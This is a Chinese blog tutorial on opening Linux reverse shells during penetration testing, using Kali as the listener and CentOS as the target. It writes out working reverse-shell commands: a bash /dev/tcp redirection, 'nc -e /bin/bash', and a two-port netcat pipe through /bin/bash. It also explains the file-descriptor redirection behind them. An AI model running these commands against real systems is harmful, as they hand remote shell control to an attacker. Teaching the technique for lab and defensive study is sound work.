LINUX shell反弹篇(一)

我们有时候在渗透测试中,经常会反弹shell一次来进行会话,从而提权或者寻找信息,今天就总结一下在linux上反弹shell的几种方法及原理。

测试环境:

kali、centos

一、bash反弹:

在kali机上监听端口:

nc -lvp 7777

在 centos上使用:

bash -i >& /dev/tcp/ip/port 0>&1 //ip就是反弹到开启监听的机器,port就是监听的端口号

这条命令我也在网上查了很多资料,总结了一下

bash -i 就是打开一个bash

>&符号定义:

当>&后面跟着文件时,就表示为将标准输出和标准错误输出到重定向的文件也就是监听端上。

当>&后面跟着文件标识符时,就表示将前面的文件描述符重定向到后面的文件描述符。

标准输入:stdin 代码为“0”,使用<或<<

标准输出:sudout 代码为“1”,使用>或>>

标准错误输出:stderr 代码为“2”,使用2>或2>>

因为Linux发行版本不一样,所以也会导致在一些系统上并不能使用

/dev/tcp 该文件时liux中一个特殊的文件并不真实存在,使用这个文件的目的就是建立一个socket连接,我们可以通过结合上面的符号来实现基于tcp和udp协议的通讯,所以也有/dev/udp,上面的ip也可以域名,如果建立连接成功,则会在/proc/self/fd下出现对应的文件。

最后需要注意的是,这是一个bash的feature,在使用的时候注意shell的类型。

我们来看一下实际操作中符号的具体意义:

 如上图,>&这个命令的结果就是在终端输入并不会显示,而这些输入的标准输出和标准错误输出结果会在监听端显示。但监听端并不能执行命令,只能接收在centos上输入命令的返回结果。

此时我们在后面加上 0>&1的命令

 

 此时我们已经重定向到监听机上了,该符号代表的是将标准输入重定向到标准输出,标准输出已经在监听机上了,所以现在监听机上可以进行输入和显示输出信息。

二、nc反弹

这中方法需要centos上安装nc,kali机上自带的有。

centos下载命令:

yum -y install nc

 现在kali上面开启监听:

nc -lvp 7777

 在centos上使用nc反向连接:

nc -e /bin/bash ip port

 -e的命令就是连接后去执行后面的命令,就是执行一个shell脚本

还有一种情况当-e不能使用的话,可以使用另一种方法;

在kali开启两个监听端口,然后在centos上使用命令:

nc ip port1|/bin/bash|nc ip port2

首先是连接到第一个端口进行通讯,然后把通信的内容通过管道符放到/bin/bash解释器中,在把结果输出到第二个端口上。一个用来输入命令,一个用来看返回结果。

 

 因为-e太危险大部分都去掉了。

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我像一条狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值